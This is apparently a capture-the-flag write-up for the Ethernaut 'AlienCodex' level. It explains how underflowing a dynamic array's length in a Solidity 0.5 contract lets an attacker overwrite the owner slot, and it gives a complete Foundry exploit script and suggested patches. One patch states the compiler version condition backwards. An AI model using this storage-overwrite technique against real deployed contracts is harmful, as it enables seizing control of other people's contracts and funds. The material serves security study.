
Please don't OSINT me, I'd be shy. 🫣
Challenge
You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help
Understanding how array storage works
Understanding ABI specifications
Using a very
underhandedapproach
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
Solve
I think this is the toughest challenge in the Ethernaut series.
AlienCodex contract imported Ownable-05.sol, we can find it in Ethernaut source code repo.
Variables declared by the inherited contract will occupy storage first, so the slot of Ownable._owner is in AlienCodex.slot0. Our goal is to find a path to overwrite slot0.
BTW, Ownable._owner and AlienCodex.contact are packaged together as shown below:
contract AlienCodex is Ownable {
address private _owner; // slot0 (lower bits | slot0 right-side)
bool public contact; // slot0 (higher bits | slot0 left-side)
bytes32[] public codex; // slot1...?
}
We can notice that the AlienCodex contract is compiled using solidity 0.5.0, which means it does not have built-in overflow/underflow protection, including dynamic arrays.
It’s time to learn how dynamic arrays are stored in storage!
The first principle is: the slot occupied by dynamic array, the value placed in it is the total length (array.length) of the array!
bytes32[] public codex occupied slot1, so the slot0 is stored codex.length.
The second principle is: elements of the dynamic array are stored at keccak256(slot_num) + offset.
For example, assuming there are 3 elements in codex:
// `codex` is decleared on slot1
codex.push(0xa);
codex.push(0xb);
codex.push(0xc);
The offsets are:
codex.push(0xa); // offset = 0
codex.push(0xb); // offset = 1
codex.push(0xc); // offset = 2
Then, we can know which slot these three elements exist by the formula:
slot_num = 1 # where the `codex` been decleared
keecak256(slot_num) + 0 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
keecak256(slot_num) + 1 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7
keecak256(slot_num) + 2 # 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8
But hey! Isn’t the value of slot1 allowed to underflow, right?
pragma solidity ^0.5.0;
function retract() public contacted {
codex.length--;
}
This means we have an opportunity to set the value of slot1 to type(uint256).max - 1!
What does this mean? this means that we can use revise(uint256 i, bytes32 content) function to set any bytes32 value to slot[keecak256(SLOT=1) + uint256(i)]!!
Please remember that a smart contract can have 0 to 2**256-1 storage slots, and the allowed value range of uint256 i is also 0 to 2**256-1.
So the remaining question becomes: how do we find the correct uint256 i so that codex[i] = _content can be overwritten to slot0?
Well, since _owner is stored in slot0, so we only need to find the offset of slot[MAX] relative to slot1 (codex), and then write the new owner address at that slot[offset + 1].
Here’s pseudocode:
bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));
bytes32 MAX_BYTES32 = bytes32(type(uint256).max);
bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));
// N is the offset of slot0 relative to slot1
bytes32 N = bytes32(uint256(array_index_that_occupied_the_slotMAX) + 1)
Full solution code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
contract Solver is Script {
address allien_codex = vm.envAddress("ALIENCODEX_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
// 使 slot1 的值等於 keccak256(1))
allien_codex.call(abi.encodeWithSignature("makeContact()"));
allien_codex.call(abi.encodeWithSignature("retract()"));
// 取得: codex 的第一個元素所佔用的 Storage Slot Number
bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));
// 取得: 對於 codex 來說,index 需要多少偏移量才能達到 Storage Slot 0
bytes32 max_bytes32 = bytes32(type(uint256).max);
bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));
// 檢查: codex 的第一個元素,佔用的 Storage Slot Number 加上偏移量,應該要等於 0xffff....ffff
assert(uint256(slot_index_of_first_element_of_codex) + uint256(array_index_that_occupied_the_slotMAX) == type(uint256).max);
allien_codex.call(abi.encodeWithSignature("revise(uint256,bytes32)", uint256(array_index_that_occupied_the_slotMAX)+1, bytes32(abi.encode(vm.envAddress("MY_EOA_WALLET")))));
vm.stopBroadcast();
}
}
forge script Ethernaut19-AlienCodex.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
Potential Patches
- Using SafeMath for arithmetic operations.
pragma solidity ^0.5.0;
import "@openzeppelin-contracts/contracts/math/SafeMath.sol";
contract AlienCodex is Ownable {
using SafeMath for uint256;
}
- Using solidity
<=0.8.0to get build-in arithmetic overflow/underflow protection.
pragma solidity ^0.8.0;
contract AlienCodex is Ownable {
}

